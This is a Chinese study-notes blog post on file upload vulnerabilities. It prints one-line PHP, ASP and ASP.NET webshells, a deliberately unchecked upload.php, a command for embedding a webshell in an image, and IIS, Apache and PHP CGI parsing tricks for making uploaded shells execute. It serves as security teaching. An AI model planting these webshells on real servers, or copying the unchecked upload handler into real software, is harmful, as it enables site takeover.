文件上传漏洞

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub之Me and My Girlfriend

介绍

文件上传漏洞指用户将恶意代码文件上传到服务器上,服务器错将用户上传的恶意代码当做服务器文件解析,导致得恶意代码执行。是用户获得网站的权限,进一步危害服务器

实例

看一个文件上传漏洞的实例
某网站存在文件上传点,允许用户上传文件
在这里插入图片描述
某黑客上传了自己的网站木马,内容如下

 @eval($_POST[manlu]); ?>


黑客在上传成功后,用浏览器访问了木马的地址
文件上传漏洞_第1张图片
接下来,黑客用工具连接了木马,成功控制了网站
文件上传漏洞_第2张图片
index.html


<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传title>
head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
form>
body>
html>

upload.php


    $path='./uploads';
    if (!is_dir($path)){
        mkdir($path);
    }
    if ($_FILES['file']['error']>0){
        echo "上传失败";
    }else{
        $name=$_FILES['file']['name'];
        move_uploaded_file($_FILES['file']['tmp_name'],"./uploads/".$name);
        echo "上传成功
保存位置:"
."uploads/".$name.""
; } ?>

上传漏洞

在上面的实例中,网站并没有很好地处理用户的上传,导致用户上传了恶意文件,控制了网站。其中,这个恶意代码叫做webshell,通过webshell,可以轻松地控制网站。

有一种webshell,只有一句话,短小精悍,但通过这一句话,配合工具就可以控制整个网站,叫做一句话木马

列举几种常见的一句话木马

PHP

 @eval($_POST[pass]); ?>

ASP

<%eval request(pass)%>

ASP.NET

<%@ Page Language="Jscript"%><%eval(Request.Item[pass],"unsafe");%>

WebShell工具

有很多WebShell的连接工具,在这里列举最常见的两种

中国菜刀
菜刀工具也是大名鼎鼎的WebShell管理工具了,支持文件管理,数据管理,虚拟终端等功能,是一个好用的WebShell管理工具

这是中国菜刀的界面
文件上传漏洞_第3张图片
目前中国菜刀的网站访问不了,在下载菜刀工具时一定要小心,几乎所有非官方的中国菜刀都是有后门的

中国蚁剑
下载地址:https://github.com/AntSwordProject
中国蚁剑是一款开源的,功能强大的WebShell管理工具,支持文件管理,虚拟终端,数据管理等功能。同时内置多款插件,可以方便地对网站进行渗透。

安装方法:https://www.fujieace.com/hacker/tools/antsword.html

这是蚁剑的主页面
文件上传漏洞_第4张图片
文件管理
文件上传漏洞_第5张图片

制作图片马

很多网站都只允许上传图片文件,这时就要将WebShell伪装成一张图片上传,称为图片马。

制作方法
准备一张图片文件(1.png)和WebShell(2.php)
文件上传漏洞_第6张图片

打开dos,cd到该目录,输入

copy 1.png/b + 2.php/a 3.jpg

在这里插入图片描述
此时在同目录下出现一个3.jpg
文件上传漏洞_第7张图片
以文本形式打开3.jpg,发现WebShell已经插到了文件尾部
文件上传漏洞_第8张图片

解析漏洞

上传漏洞通常配合解析漏洞一起使用,在某些地方,如白名单可以绕过检测上传shell

IIS解析漏洞

IIS6.0存在两个经典漏洞
①当建立存在asp,asa的文件夹,文件夹中所有文件都会按照asp文件解析

例如某文件夹名为1.asp,文件夹下有一个图片马。访问图片马,服务器会将图片马作为asp文件解析,从而使攻击者拿下WebShell。

②当文件为 *.asp;1.jpg 时,会将文件作为asp文件解析。例如某WebShell名为1.asp;1.jpg时,将会当做asp文件解析,从而拿下WebShell

Apache解析漏洞

Apache 1.x 和 Apache 2.x 中存在解析漏洞。

Apache在解析文件时,遇到不认识的拓展名,会从后到前解析,知道遇到认识的拓展名为止。

例如1.php.aaa.bbb.ccc,由于aaa,bbb,ccc是Apache不认识的拓展名,所以会跳过。作为PHP文件解析,从而使攻击者拿下WebShell

新版的Apache修复了这种漏洞
文件上传漏洞_第9张图片
PHP CGI解析漏洞
在PHP的配置文件中存在一个选项 cgi.fix_pathinfo,默认开启
在这里插入图片描述
当打开了cgi,当URL是以php结尾,就会作为PHP解析。

例如我先前在某站点上传了图片马1.jpg,我在浏览器访问是无法解析的,但我在结尾加上一个 /.php,URL就成为http://www.xxx.com/uploads/img/2020xxxxxx.jpg/.php
此时文件会当做php解析,从而成功拿下WebShell

绕过

下一篇文章专门讲

防范

1.使用白名单
2.防止解析漏洞
3.重命名文件

你可能感兴趣的:(安全,安全)